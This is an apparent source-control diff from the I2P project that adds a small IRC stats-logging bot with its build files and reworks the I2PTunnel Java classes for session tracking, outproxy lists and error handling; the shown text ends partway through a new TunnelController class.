###
# The prefix to be used for the filenames of logs.
#
logFilePrefix=irc.duck.i2p.i2p-chat
###
# How often the logs should be rotated. Either "daily", "weekly", or "monthly"
# (but don't use quotation marks).
#
logFileRotationInterval=daily
###
# Set to "true" to enable the regular round-trip delay computation,
# else "false" (but don't use quotation marks).
#
isRoundTripDelayEnabled=false
###
# How often should the round-trip delay be recorded.
# (in seconds)
#
roundTripDelayPeriod=300
###
# Set to "true" to enable the userlist command, else "false" (but don't use
# quotation marks).
#
isUserlistCommandEnabled=true
###
# The userlist trigger command to listen for. It is a good idea to prefix
# triggers with some non-alphanumeric character in order to avoid accidental
# trigger use during normal channel conversation. In most cases you will
# probably want to choose a unique trigger here that no other bots in the
# channel will respond to.
#
userlistCommandTrigger=!who
###
# The number of seconds to rest after replying to a userlist command issued by
# a user in the channel. The bot will ignore subsequent userlist commands during
# this period. This helps prevent flooding.
#
commandAntiFloodInterval=60

2
apps/bogobot/bogobot.sh Normal file
View File

@ -0,0 +1,2 @@
#!/bin/sh
java -cp .:log4j-1.2.8.jar:pircbot.jar Bogobot

View File

@ -0,0 +1,57 @@
<?xml version="1.0" encoding="UTF-8"?>
<!-- ********************************************************** -->
<!-- bogobot - A simple join/part stats logger bot for I2P IRC. -->
<!-- -->
<!-- build-eclipse.xml -->
<!-- 2004 The I2P Project -->
<!-- This code is public domain. -->
<!-- -->
<!-- author hypercubus, oOo -->
<!-- version 0.4 -->
<!-- ********************************************************** -->
<project basedir="." default="dist" name="Bogobot">
<!-- init:
Create distribution directory if missing and initialize time stamp for
archive naming -->
<target name="init">
<mkdir dir="dist" />
<tstamp>
<format pattern="yyyy-MM-dd" property="DSTAMP" />
</tstamp>
</target>
<!-- dist.bin:
Create the binary distribution archive -->
<target depends="init" description="Create the binary distribution archive" name="dist.bin">
<zip destfile="dist/Bogobot_${DSTAMP}.zip">
<zipfileset dir="${basedir}" includes="bogobot.bat bogobot.config Bogobot.class bogobot.sh Bogoparser.class LICENSE_log4j.txt LICENSE_pircbot.txt log4j-1.2.8.jar pircbot.jar" />
</zip>
</target>
<!-- dist.source:
Create the source distribution archive -->
<target depends="init" description="Create the source distribution archive" name="dist.source">
<zip destfile="dist/Bogobot_source_${DSTAMP}.zip">
<zipfileset dir="${basedir}" includes="bogobot.bat bogobot.config Bogobot.java bogobot.sh Bogoparser.java build.xml build_eclipse.xml LICENSE_log4j.txt LICENSE_pircbot.txt log4j-1.2.8.jar pircbot.jar" />
</zip>
</target>
<!-- dist:
Create both the binary and source distribution archives -->
<target depends="dist.bin,dist.source" description="Create both the binary and source distribution archives" name="dist">
<echo message="Successfully created binary and source distribution archives in directory &apos;dist&apos;." />
</target>
<!-- clean:
Delete all class files and temporary directories -->
<target description="Delete all class files and temporary directories" name="clean">
<delete>
<fileset dir="${basedir}" includes="**/*.class" />
</delete>
<echo message="Clean successful." />
</target>
</project>

63
apps/bogobot/build.xml Normal file
View File

@ -0,0 +1,63 @@
<?xml version="1.0" encoding="UTF-8"?>
<!-- ********************************************************** -->
<!-- bogobot - A simple join/part stats logger bot for I2P IRC. -->
<!-- -->
<!-- build.xml -->
<!-- 2004 The I2P Project -->
<!-- This code is public domain. -->
<!-- -->
<!-- author hypercubus, oOo -->
<!-- version 0.4 -->
<!-- ********************************************************** -->
<project basedir="." default="compile" name="Bogobot">
<!-- init:
Create distribution directory if missing and initialize time stamp for
archive naming -->
<target name="init">
<mkdir dir="dist" />
<tstamp>
<format pattern="yyyy-MM-dd" property="DSTAMP" />
</tstamp>
</target>
<!-- compile:
Compile source code -->
<target depends="init" description="Compile source code" name="compile">
<javac classpath="${basedir};log4j-1.2.8.jar;pircbot.jar" source="1.4" srcdir="." />
</target>
<!-- dist.bin:
Create the binary distribution archive -->
<target depends="init,compile" description="Create the binary distribution archive" name="dist.bin">
<zip destfile="dist/Bogobot_${DSTAMP}.zip">
<zipfileset dir="${basedir}" includes="bogobot.bat bogobot.config Bogobot.class Bogobot$BogobotTickTask.class bogobot.sh Bogoparser.class LICENSE_log4j.txt LICENSE_pircbot.txt log4j-1.2.8.jar pircbot.jar" />
</zip>
</target>
<!-- dist.source:
Create the source distribution archive -->
<target depends="init" description="Create the source distribution archive" name="dist.source">
<zip destfile="dist/Bogobot_source_${DSTAMP}.zip">
<zipfileset dir="${basedir}" includes="bogobot.bat bogobot.config Bogobot.java bogobot.sh Bogoparser.java build.xml build_eclipse.xml LICENSE_log4j.txt LICENSE_pircbot.txt log4j-1.2.8.jar pircbot.jar" />
</zip>
</target>
<!-- dist:
Create both the binary and source distribution archives -->
<target depends="dist.bin,dist.source" description="Create both the binary and source distribution archives" name="dist">
<echo message="Successfully created binary and source distribution archives in directory &apos;dist&apos;." />
</target>
<!-- clean:
Delete all class files and temporary directories -->
<target description="Delete all class files and temporary directories" name="clean">
<delete>
<fileset dir="${basedir}" includes="**/*.class" />
</delete>
<echo message="Clean successful." />
</target>
</project>

Binary file not shown.

BIN
apps/bogobot/pircbot.jar Normal file

Binary file not shown.

View File

@ -22,6 +22,47 @@
<attribute name="Class-Path" value="i2p.jar mstreaming.jar" />
</manifest>
</jar>
<ant target="war" />
</target>
<target name="war" depends="precompilejsp">
<war destfile="build/i2ptunnel.war" webxml="../jsp/web-out.xml"
basedir="../jsp/" excludes="web.xml, *.java, *.jsp">
</war>
</target>
<target name="precompilejsp">
<mkdir dir="../jsp/WEB-INF/" />
<mkdir dir="../jsp/WEB-INF/classes" />
<!-- there are various jspc ant tasks, but they all seem a bit flakey -->
<java classname="org.apache.jasper.JspC" fork="true" >
<classpath>
<pathelement location="../../jetty/jettylib/jasper-compiler.jar" />
<pathelement location="../../jetty/jettylib/jasper-runtime.jar" />
<pathelement location="../../jetty/jettylib/javax.servlet.jar" />
<pathelement location="../../jetty/jettylib/ant.jar" />
<pathelement location="build/i2ptunnel.jar" />
</classpath>
<arg value="-d" />
<arg value="../jsp/WEB-INF/classes" />
<arg value="-v9" />
<arg value="-p" />
<arg value="net.i2p.i2ptunnel.jsp" />
<arg value="-webinc" />
<arg value="../jsp/web-fragment.xml" />
<arg value="-webapp" />
<arg value="../jsp/" />
</java>
<javac destdir="../jsp/WEB-INF/classes/" srcdir="../jsp/WEB-INF/classes" includes="*.java">
<classpath>
<pathelement location="../../jetty/jettylib/jasper-runtime.jar" />
<pathelement location="../../jetty/jettylib/javax.servlet.jar" />
<pathelement location="build/i2ptunnel.jar" />
</classpath>
</javac>
<copy file="../jsp/web.xml" tofile="../jsp/web-out.xml" />
<loadfile property="jspc.web.fragment" srcfile="../jsp/web-fragment.xml" />
<replace file="../jsp/web-out.xml">
<replacefilter token="&lt;!-- precompiled servlets --&gt;" value="${jspc.web.fragment}" />
</replace>
</target>
<target name="javadoc">
<mkdir dir="./build" />

View File

@ -54,6 +54,7 @@ import net.i2p.I2PAppContext;
import net.i2p.I2PException;
import net.i2p.client.I2PClient;
import net.i2p.client.I2PClientFactory;
import net.i2p.client.I2PSession;
import net.i2p.client.naming.NamingService;
import net.i2p.data.Base64;
import net.i2p.data.DataFormatException;
@ -71,16 +72,17 @@ public class I2PTunnel implements Logging, EventDispatcher {
private static long __tunnelId = 0;
private long _tunnelId;
private Properties _clientOptions;
private List _sessions;
public static final int PACKET_DELAY = 100;
public static boolean ownDest = false;
public boolean ownDest = false;
public static String port = System.getProperty(I2PClient.PROP_TCP_PORT, "7654");
public static String host = System.getProperty(I2PClient.PROP_TCP_HOST, "127.0.0.1");
public static String listenHost = host;
public String port = System.getProperty(I2PClient.PROP_TCP_PORT, "7654");
public String host = System.getProperty(I2PClient.PROP_TCP_HOST, "127.0.0.1");
public String listenHost = host;
public static long readTimeout = -1;
public long readTimeout = -1;
private static final String nocli_args[] = { "-nocli", "-die"};
@ -108,6 +110,7 @@ public class I2PTunnel implements Logging, EventDispatcher {
_event = new EventDispatcherImpl();
_clientOptions = new Properties();
_clientOptions.putAll(System.getProperties());
_sessions = new ArrayList(1);
addConnectionEventListener(lsnr);
boolean gui = true;
@ -172,6 +175,24 @@ public class I2PTunnel implements Logging, EventDispatcher {
}
}
List getSessions() {
synchronized (_sessions) {
return new ArrayList(_sessions);
}
}
void addSession(I2PSession session) {
if (session == null) return;
synchronized (_sessions) {
_sessions.add(session);
}
}
void removeSession(I2PSession session) {
if (session == null) return;
synchronized (_sessions) {
_sessions.remove(session);
}
}
public Properties getClientOptions() { return _clientOptions; }
private void addtask(I2PTunnelTask tsk) {
@ -408,9 +429,9 @@ public class I2PTunnel implements Logging, EventDispatcher {
*/
public void runClient(String args[], Logging l) {
if (args.length == 2) {
int port = -1;
int portNum = -1;
try {
port = Integer.parseInt(args[0]);
portNum = Integer.parseInt(args[0]);
} catch (NumberFormatException nfe) {
l.log("invalid port");
_log.error(getPrefix() + "Port specified is not valid: " + args[0], nfe);
@ -418,9 +439,15 @@ public class I2PTunnel implements Logging, EventDispatcher {
return;
}
I2PTunnelTask task;
task = new I2PTunnelClient(port, args[1], l, ownDest, (EventDispatcher) this, this);
addtask(task);
notifyEvent("clientTaskId", new Integer(task.getId()));
try {
task = new I2PTunnelClient(portNum, args[1], l, ownDest, (EventDispatcher) this, this);
addtask(task);
notifyEvent("clientTaskId", new Integer(task.getId()));
} catch (IllegalArgumentException iae) {
_log.error(getPrefix() + "Invalid I2PTunnel config to create a client [" + host + ":"+ port + "]", iae);
l.log("Invalid I2PTunnel configuration [" + host + ":" + port + "]");
notifyEvent("clientTaskId", new Integer(-1));
}
} else {
l.log("client <port> <pubkey>|file:<pubkeyfile>");
l.log(" creates a client that forwards port to the pubkey.\n"
@ -455,9 +482,15 @@ public class I2PTunnel implements Logging, EventDispatcher {
proxy = args[1];
}
I2PTunnelTask task;
task = new I2PTunnelHTTPClient(port, l, ownDest, proxy, (EventDispatcher) this, this);
addtask(task);
notifyEvent("httpclientTaskId", new Integer(task.getId()));
try {
task = new I2PTunnelHTTPClient(port, l, ownDest, proxy, (EventDispatcher) this, this);
addtask(task);
notifyEvent("httpclientTaskId", new Integer(task.getId()));
} catch (IllegalArgumentException iae) {
_log.error(getPrefix() + "Invalid I2PTunnel config to create an httpclient [" + host + ":"+ port + "]", iae);
l.log("Invalid I2PTunnel configuration [" + host + ":" + port + "]");
notifyEvent("httpclientTaskId", new Integer(-1));
}
} else {
l.log("httpclient <port> [<proxy>]");
l.log(" creates a client that distributes HTTP requests.");

View File

@ -19,7 +19,13 @@ public class I2PTunnelClient extends I2PTunnelClientBase {
private static final long DEFAULT_READ_TIMEOUT = 5*60*1000; // -1
protected long readTimeout = DEFAULT_READ_TIMEOUT;
public I2PTunnelClient(int localPort, String destination, Logging l, boolean ownDest, EventDispatcher notifyThis, I2PTunnel tunnel) {
/**
* @throws IllegalArgumentException if the I2PTunnel does not contain
* valid config to contact the router
*/
public I2PTunnelClient(int localPort, String destination, Logging l,
boolean ownDest, EventDispatcher notifyThis,
I2PTunnel tunnel) throws IllegalArgumentException {
super(localPort, ownDest, l, notifyThis, "SynSender", tunnel);
if (waitEventValue("openBaseClientResult").equals("error")) {

View File

@ -60,7 +60,13 @@ public abstract class I2PTunnelClientBase extends I2PTunnelTask implements Runna
// I2PTunnelClientBase(localPort, ownDest, l, (EventDispatcher)null);
//}
public I2PTunnelClientBase(int localPort, boolean ownDest, Logging l, EventDispatcher notifyThis, String handlerName, I2PTunnel tunnel) {
/**
* @throws IllegalArgumentException if the I2CP configuration is b0rked so
* badly that we cant create a socketManager
*/
public I2PTunnelClientBase(int localPort, boolean ownDest, Logging l,
EventDispatcher notifyThis, String handlerName,
I2PTunnel tunnel) throws IllegalArgumentException{
super(localPort + " (uninitialized)", notifyThis, tunnel);
_clientId = ++__clientId;
this.localPort = localPort;
@ -74,9 +80,14 @@ public abstract class I2PTunnelClientBase extends I2PTunnelTask implements Runna
sockMgr = getSocketManager();
}
}
if (sockMgr == null) throw new NullPointerException();
if (sockMgr == null) {
l.log("Invalid I2CP configuration");
throw new IllegalArgumentException("Socket manager could not be created");
}
l.log("I2P session created");
getTunnel().addSession(sockMgr.getSession());
Thread t = new I2PThread(this);
t.setName("Client " + _clientId);
listenerReady = false;
@ -122,7 +133,8 @@ public abstract class I2PTunnelClientBase extends I2PTunnelTask implements Runna
props.putAll(System.getProperties());
else
props.putAll(tunnel.getClientOptions());
I2PSocketManager sockManager = I2PSocketManagerFactory.createManager(I2PTunnel.host, Integer.parseInt(I2PTunnel.port), props);
I2PSocketManager sockManager = I2PSocketManagerFactory.createManager(tunnel.host, Integer.parseInt(tunnel.port), props);
if (sockManager == null) return null;
sockManager.setName("Client");
return sockManager;
}
@ -133,9 +145,9 @@ public abstract class I2PTunnelClientBase extends I2PTunnelTask implements Runna
protected final InetAddress getListenHost(Logging l) {
try {
return InetAddress.getByName(I2PTunnel.listenHost);
return InetAddress.getByName(getTunnel().listenHost);
} catch (UnknownHostException uhe) {
l.log("Could not find listen host to bind to [" + I2PTunnel.host + "]");
l.log("Could not find listen host to bind to [" + getTunnel().host + "]");
_log.error("Error finding host to bind", uhe);
notifyEvent("openBaseClientResult", "error");
return null;
@ -212,7 +224,7 @@ public abstract class I2PTunnelClientBase extends I2PTunnelTask implements Runna
localPort = ss.getLocalPort();
}
notifyEvent("clientLocalPort", new Integer(ss.getLocalPort()));
l.log("Listening for clients on port " + localPort + " of " + I2PTunnel.listenHost);
l.log("Listening for clients on port " + localPort + " of " + getTunnel().listenHost);
// Notify constructor that port is ready
synchronized (this) {
@ -265,6 +277,7 @@ public abstract class I2PTunnelClientBase extends I2PTunnelTask implements Runna
}
return false;
}
getTunnel().removeSession(sockMgr.getSession());
l.log("Closing client " + toString());
try {
if (ss != null) ss.close();

View File

@ -9,8 +9,12 @@ import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.Socket;
import java.net.SocketException;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.StringTokenizer;
import net.i2p.I2PAppContext;
import net.i2p.I2PException;
import net.i2p.client.streaming.I2PSocket;
import net.i2p.data.DataFormatException;
@ -42,7 +46,7 @@ import net.i2p.util.Log;
public class I2PTunnelHTTPClient extends I2PTunnelClientBase implements Runnable {
private static final Log _log = new Log(I2PTunnelHTTPClient.class);
private String wwwProxy;
private List proxyList;
private final static byte[] ERR_REQUEST_DENIED =
("HTTP/1.1 403 Access Denied\r\n"+
@ -78,10 +82,26 @@ public class I2PTunnelHTTPClient extends I2PTunnelClientBase implements Runnable
"the following Destination:<BR><BR>")
.getBytes();
private final static byte[] ERR_NO_OUTPROXY =
("HTTP/1.1 503 Service Unavailable\r\n"+
"Content-Type: text/html; charset=iso-8859-1\r\n"+
"Cache-control: no-cache\r\n"+
"\r\n"+
"<html><body><H1>I2P ERROR: No outproxy found</H1>"+
"Your request was for a site outside of I2P, but you have no "+
"HTTP outproxy configured. Please configure an outproxy in I2PTunnel")
.getBytes();
/** used to assign unique IDs to the threads / clients. no logic or functionality */
private static volatile long __clientId = 0;
public I2PTunnelHTTPClient(int localPort, Logging l, boolean ownDest, String wwwProxy, EventDispatcher notifyThis, I2PTunnel tunnel) {
/**
* @throws IllegalArgumentException if the I2PTunnel does not contain
* valid config to contact the router
*/
public I2PTunnelHTTPClient(int localPort, Logging l, boolean ownDest,
String wwwProxy, EventDispatcher notifyThis,
I2PTunnel tunnel) throws IllegalArgumentException {
super(localPort, ownDest, l, notifyThis, "HTTPHandler " + (++__clientId), tunnel);
if (waitEventValue("openBaseClientResult").equals("error")) {
@ -89,22 +109,47 @@ public class I2PTunnelHTTPClient extends I2PTunnelClientBase implements Runnable
return;
}
this.wwwProxy = wwwProxy;
proxyList = new ArrayList();
if (wwwProxy != null) {
StringTokenizer tok = new StringTokenizer(wwwProxy, ",");
while (tok.hasMoreTokens())
proxyList.add(tok.nextToken().trim());
}
setName(getLocalPort() + " -> HTTPClient [WWW outproxy: " + this.wwwProxy + "]");
setName(getLocalPort() + " -> HTTPClient [WWW outproxy list: " + wwwProxy + "]");
startRunning();
notifyEvent("openHTTPClientResult", "ok");
}
private String getPrefix() { return "Client[" + _clientId + "]: "; }
private String getPrefix(long requestId) { return "Client[" + _clientId + "/" + requestId + "]: "; }
private String selectProxy() {
synchronized (proxyList) {
int size = proxyList.size();
if (size <= 0) {
if (_log.shouldLog(Log.INFO))
_log.info("Proxy list is empty - no outproxy available");
l.log("Proxy list is emtpy - no outproxy available");
return null;
}
int index = I2PAppContext.getGlobalContext().random().nextInt(size);
if (index >= size) index = size - 1;
if (index < 0) return null;
String proxy = (String)proxyList.get(index);
return proxy;
}
}
private static long __requestId = 0;
protected void clientConnectionRun(Socket s) {
OutputStream out = null;
String targetRequest = null;
boolean usingWWWProxy = false;
String currentProxy = null;
InactivityTimeoutThread timeoutThread = null;
long requestId = ++__requestId;
try {
out = s.getOutputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(s.getInputStream(), "ISO-8859-1"));
@ -112,7 +157,7 @@ public class I2PTunnelHTTPClient extends I2PTunnelClientBase implements Runnable
StringBuffer newRequest = new StringBuffer();
while ((line = br.readLine()) != null) {
if (_log.shouldLog(Log.DEBUG))
_log.debug(getPrefix() + "Line=[" + line + "]");
_log.debug(getPrefix(requestId) + "Line=[" + line + "]");
if (line.startsWith("Connection: ") ||
line.startsWith("Keep-Alive: ") ||
@ -121,7 +166,7 @@ public class I2PTunnelHTTPClient extends I2PTunnelClientBase implements Runnable
if (method == null) { // first line (GET /base64/realaddr)
if (_log.shouldLog(Log.DEBUG))
_log.debug(getPrefix() + "Method is null for [" + line + "]");
_log.debug(getPrefix(requestId) + "Method is null for [" + line + "]");
int pos = line.indexOf(" ");
if (pos == -1) break;
@ -154,10 +199,29 @@ public class I2PTunnelHTTPClient extends I2PTunnelClientBase implements Runnable
line = method + " " + request.substring(pos);
} else if (host.indexOf(".") != -1) {
// The request must be forwarded to a WWW proxy
destination = wwwProxy;
if (_log.shouldLog(Log.DEBUG))
_log.debug("Before selecting outproxy for " + host);
currentProxy = selectProxy();
if (_log.shouldLog(Log.DEBUG))
_log.debug("After selecting outproxy for " + host + ": " + currentProxy);
if (currentProxy == null) {
if (_log.shouldLog(Log.WARN))
_log.warn(getPrefix(requestId) + "Host wants to be outproxied, but we dont have any!");
l.log("No HTTP outproxy found for the request.");
if (out != null) {
out.write(ERR_NO_OUTPROXY);
out.write("<p /><i>Generated on: ".getBytes());
out.write(new Date().toString().getBytes());
out.write("</i></body></html>\n".getBytes());
out.flush();
}
s.close();
return;
}
destination = currentProxy;
usingWWWProxy = true;
if (_log.shouldLog(Log.DEBUG))
_log.debug(getPrefix() + "Host doesnt end with .i2p and it contains a period [" + host + "]: wwwProxy!");
_log.debug(getPrefix(requestId) + "Host doesnt end with .i2p and it contains a period [" + host + "]: wwwProxy!");
} else {
request = request.substring(pos + 1);
pos = request.indexOf("/");
@ -167,27 +231,27 @@ public class I2PTunnelHTTPClient extends I2PTunnelClientBase implements Runnable
boolean isValid = usingWWWProxy || isSupportedAddress(host, protocol);
if (!isValid) {
if (_log.shouldLog(Log.INFO)) _log.info(getPrefix() + "notValid(" + host + ")");
if (_log.shouldLog(Log.INFO)) _log.info(getPrefix(requestId) + "notValid(" + host + ")");
method = null;
destination = null;
break;
} else if (!usingWWWProxy) {
if (_log.shouldLog(Log.INFO)) _log.info(getPrefix() + "host=getHostName(" + destination + ")");
if (_log.shouldLog(Log.INFO)) _log.info(getPrefix(requestId) + "host=getHostName(" + destination + ")");
host = getHostName(destination); // hide original host
}
if (_log.shouldLog(Log.DEBUG)) {
_log.debug(getPrefix() + "METHOD:" + method + ":");
_log.debug(getPrefix() + "PROTOC:" + protocol + ":");
_log.debug(getPrefix() + "HOST :" + host + ":");
_log.debug(getPrefix() + "DEST :" + destination + ":");
_log.debug(getPrefix(requestId) + "METHOD:" + method + ":");
_log.debug(getPrefix(requestId) + "PROTOC:" + protocol + ":");
_log.debug(getPrefix(requestId) + "HOST :" + host + ":");
_log.debug(getPrefix(requestId) + "DEST :" + destination + ":");
}
} else {
if (line.startsWith("Host: ") && !usingWWWProxy) {
line = "Host: " + host;
if (_log.shouldLog(Log.INFO))
_log.info(getPrefix() + "Setting host = " + host);
_log.info(getPrefix(requestId) + "Setting host = " + host);
}
}
@ -199,7 +263,7 @@ public class I2PTunnelHTTPClient extends I2PTunnelClientBase implements Runnable
}
}
if (_log.shouldLog(Log.DEBUG))
_log.debug(getPrefix() + "NewRequest header: [" + newRequest.toString() + "]");
_log.debug(getPrefix(requestId) + "NewRequest header: [" + newRequest.toString() + "]");
while (br.ready()) { // empty the buffer (POST requests)
int i = br.read();
@ -221,7 +285,7 @@ public class I2PTunnelHTTPClient extends I2PTunnelClientBase implements Runnable
}
if (_log.shouldLog(Log.DEBUG))
_log.debug(getPrefix() + "Destination: " + destination);
_log.debug(getPrefix(requestId) + "Destination: " + destination);
Destination dest = I2PTunnel.destFromName(destination);
if (dest == null) {
@ -236,25 +300,25 @@ public class I2PTunnelHTTPClient extends I2PTunnelClientBase implements Runnable
I2PSocket i2ps = createI2PSocket(dest);
byte[] data = newRequest.toString().getBytes("ISO-8859-1");
I2PTunnelRunner runner = new I2PTunnelRunner(s, i2ps, sockLock, data);
timeoutThread = new InactivityTimeoutThread(runner, out, targetRequest, usingWWWProxy, s);
timeoutThread = new InactivityTimeoutThread(runner, out, targetRequest, usingWWWProxy, currentProxy, s, requestId);
timeoutThread.start();
} catch (SocketException ex) {
if (timeoutThread != null) timeoutThread.disable();
_log.info(getPrefix() + "Error trying to connect", ex);
_log.info(getPrefix(requestId) + "Error trying to connect", ex);
l.log(ex.getMessage());
handleHTTPClientException(ex, out, targetRequest, usingWWWProxy, wwwProxy);
handleHTTPClientException(ex, out, targetRequest, usingWWWProxy, currentProxy, requestId);
closeSocket(s);
} catch (IOException ex) {
if (timeoutThread != null) timeoutThread.disable();
_log.info(getPrefix() + "Error trying to connect", ex);
_log.info(getPrefix(requestId) + "Error trying to connect", ex);
l.log(ex.getMessage());
handleHTTPClientException(ex, out, targetRequest, usingWWWProxy, wwwProxy);
handleHTTPClientException(ex, out, targetRequest, usingWWWProxy, currentProxy, requestId);
closeSocket(s);
} catch (I2PException ex) {
if (timeoutThread != null) timeoutThread.disable();
_log.info("getPrefix() + Error trying to connect", ex);
_log.info("getPrefix(requestId) + Error trying to connect", ex);
l.log(ex.getMessage());
handleHTTPClientException(ex, out, targetRequest, usingWWWProxy, wwwProxy);
handleHTTPClientException(ex, out, targetRequest, usingWWWProxy, currentProxy, requestId);
closeSocket(s);
}
}
@ -263,25 +327,29 @@ public class I2PTunnelHTTPClient extends I2PTunnelClientBase implements Runnable
private static volatile long __timeoutId = 0;
private class InactivityTimeoutThread extends I2PThread {
private Socket s;
private I2PTunnelRunner _runner;
private OutputStream _out;
private String _targetRequest;
private boolean _useWWWProxy;
private String _currentProxy;
private long _requestId;
private boolean _disabled;
private Object _disableLock = new Object();
public InactivityTimeoutThread(I2PTunnelRunner runner, OutputStream out, String targetRequest,
boolean useWWWProxy, Socket s) {
boolean useWWWProxy, String currentProxy, Socket s, long requestId) {
this.s = s;
_runner = runner;
_out = out;
_targetRequest = targetRequest;
_useWWWProxy = useWWWProxy;
_currentProxy = currentProxy;
_disabled = false;
_requestId = requestId;
long timeoutId = ++__timeoutId;
setName("InactivityThread " + getPrefix() + timeoutId);
setName("InactivityThread " + getPrefix(requestId) + timeoutId);
}
public void disable() {
@ -294,13 +362,13 @@ public class I2PTunnelHTTPClient extends I2PTunnelClientBase implements Runnable
public void run() {
while (!_disabled) {
if (_runner.isFinished()) {
if (_log.shouldLog(Log.INFO)) _log.info(getPrefix() + "HTTP client request completed prior to timeout");
if (_log.shouldLog(Log.INFO)) _log.info(getPrefix(_requestId) + "HTTP client request completed prior to timeout");
return;
}
if (_runner.getLastActivityOn() < Clock.getInstance().now() - INACTIVITY_TIMEOUT) {
if (_runner.getStartedOn() < Clock.getInstance().now() - INACTIVITY_TIMEOUT) {
if (_log.shouldLog(Log.WARN))
_log.warn(getPrefix() + "HTTP client request timed out (lastActivity: "
_log.warn(getPrefix(_requestId) + "HTTP client request timed out (lastActivity: "
+ new Date(_runner.getLastActivityOn()) + ", startedOn: "
+ new Date(_runner.getStartedOn()) + ")");
timeout();
@ -321,26 +389,27 @@ public class I2PTunnelHTTPClient extends I2PTunnelClientBase implements Runnable
}
private void timeout() {
_log.info(getPrefix() + "Inactivity timeout reached");
_log.info(getPrefix(_requestId) + "Inactivity timeout reached");
l.log("Inactivity timeout reached");
if (_out != null) {
try {
if (_runner.getLastActivityOn() > 0) {
// some data has been sent, so don't 404 it
} else {
writeErrorMessage(ERR_TIMEOUT, _out, _targetRequest, _useWWWProxy, wwwProxy);
writeErrorMessage(ERR_TIMEOUT, _out, _targetRequest, _useWWWProxy, _currentProxy);
}
} catch (IOException ioe) {
_log.warn(getPrefix() + "Error writing out the 'timeout' message", ioe);
_log.warn(getPrefix(_requestId) + "Error writing out the 'timeout' message", ioe);
}
} else {
_log.warn(getPrefix() + "Client disconnected before we could say we timed out");
_log.warn(getPrefix(_requestId) + "Client disconnected before we could say we timed out");
}
closeSocket(s);
}
}
private final static String getHostName(String host) {
if (host == null) return null;
try {
Destination dest = I2PTunnel.destFromName(host);
if (dest == null) return "i2p";
@ -366,18 +435,18 @@ public class I2PTunnelHTTPClient extends I2PTunnelClientBase implements Runnable
}
private void handleHTTPClientException(Exception ex, OutputStream out, String targetRequest,
boolean usingWWWProxy, String wwwProxy) {
boolean usingWWWProxy, String wwwProxy, long requestId) {
if (_log.shouldLog(Log.WARN))
_log.warn("Error sending to " + wwwProxy + " (proxy? " + usingWWWProxy + ", request: " + targetRequest, ex);
_log.warn(getPrefix(requestId) + "Error sending to " + wwwProxy + " (proxy? " + usingWWWProxy + ", request: " + targetRequest, ex);
if (out != null) {
try {
writeErrorMessage(ERR_DESTINATION_UNKNOWN, out, targetRequest, usingWWWProxy, wwwProxy);
} catch (IOException ioe) {
_log.warn(getPrefix() + "Error writing out the 'destination was unknown' " + "message", ioe);
_log.warn(getPrefix(requestId) + "Error writing out the 'destination was unknown' " + "message", ioe);
}
} else {
_log.warn(getPrefix() + "Client disconnected before we could say that destination " + "was unknown", ex);
_log.warn(getPrefix(requestId) + "Client disconnected before we could say that destination " + "was unknown", ex);
}
}

View File

@ -75,11 +75,12 @@ public class I2PTunnelServer extends I2PTunnelTask implements Runnable {
Properties props = new Properties();
props.putAll(getTunnel().getClientOptions());
synchronized (slock) {
sockMgr = I2PSocketManagerFactory.createManager(privData, I2PTunnel.host, Integer.parseInt(I2PTunnel.port),
sockMgr = I2PSocketManagerFactory.createManager(privData, getTunnel().host, Integer.parseInt(getTunnel().port),
props);
}
sockMgr.setName("Server");
getTunnel().addSession(sockMgr.getSession());
l.log("Ready!");
notifyEvent("openServerResult", "ok");
open = true;
@ -130,6 +131,7 @@ public class I2PTunnelServer extends I2PTunnelTask implements Runnable {
l.log("Shutting down server " + toString());
try {
if (i2pss != null) i2pss.close();
getTunnel().removeSession(sockMgr.getSession());
sockMgr.getSession().destroySession();
} catch (I2PException ex) {
_log.error("Error destroying the session", ex);

View File

@ -64,6 +64,7 @@ public abstract class I2PTunnelTask implements EventDispatcher {
public void disconnected(I2PSession session) {
routerDisconnected();
getTunnel().removeSession(session);
}
public void errorOccurred(I2PSession session, String message, Throwable error) {

View File

@ -0,0 +1,365 @@
package net.i2p.i2ptunnel;
import java.io.IOException;
import java.io.File;
import java.io.FileOutputStream;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Properties;
import net.i2p.I2PAppContext;
import net.i2p.I2PException;
import net.i2p.client.I2PClient;
import net.i2p.client.I2PClientFactory;
import net.i2p.client.I2PSession;
import net.i2p.data.Destination;
import net.i2p.util.Log;
/**
* Coordinate the runtime operation and configuration of a tunnel.
* These objects are bundled together under a TunnelControllerGroup where the
* entire group is stored / loaded from a single config file.
*
*/
public class TunnelController implements Logging {
private Log _log;
private Properties _config;
private I2PTunnel _tunnel;
private List _messages;
private boolean _running;
/**
* Create a new controller for a tunnel out of the specific config options.
* The config may contain a large number of options - only ones that begin in
* the prefix should be used (and, in turn, that prefix should be stripped off
* before being interpreted by this controller)
*
* @param config original key=value mapping
* @param prefix beginning of key values that are relevent to this tunnel
*/
public TunnelController(Properties config, String prefix) {
this(config, prefix, true);
}
/**
*
* @param createKey for servers, whether we want to create a brand new destination
* with private keys at the location specified or not (does not
* overwrite existing ones)
*/
public TunnelController(Properties config, String prefix, boolean createKey) {
_tunnel = new I2PTunnel();
_log = I2PAppContext.getGlobalContext().logManager().getLog(TunnelController.class);
setConfig(config, prefix);
_messages = new ArrayList(4);
_running = false;
if (createKey && ("server".equals(getType())) )
createPrivateKey();
if (getStartOnLoad())
startTunnel();
}
private void createPrivateKey() {
I2PClient client = I2PClientFactory.createClient();
String filename = getPrivKeyFile();
if ( (filename == null) || (filename.trim().length() <= 0) ) {
log("No filename specified for the private key");
return;
}
File keyFile = new File(getPrivKeyFile());
if (keyFile.exists()) {
log("Not overwriting existing private keys in " + keyFile.getAbsolutePath());
return;
} else {
File parent = keyFile.getParentFile();
if ( (parent != null) && (!parent.exists()) )
parent.mkdirs();
}
FileOutputStream fos = null;
try {
fos = new FileOutputStream(keyFile);
Destination dest = client.createDestination(fos);
String destStr = dest.toBase64();
log("Private key created and saved in " + keyFile.getAbsolutePath());
log("New destination: " + destStr);
} catch (I2PException ie) {
if (_log.shouldLog(Log.ERROR))
_log.error("Error creating new destination", ie);
log("Error creating new destination: " + ie.getMessage());
} catch (IOException ioe) {
if (_log.shouldLog(Log.ERROR))
_log.error("Error creating writing the destination to " + keyFile.getAbsolutePath(), ioe);
log("Error writing the keys to " + keyFile.getAbsolutePath());
} finally {
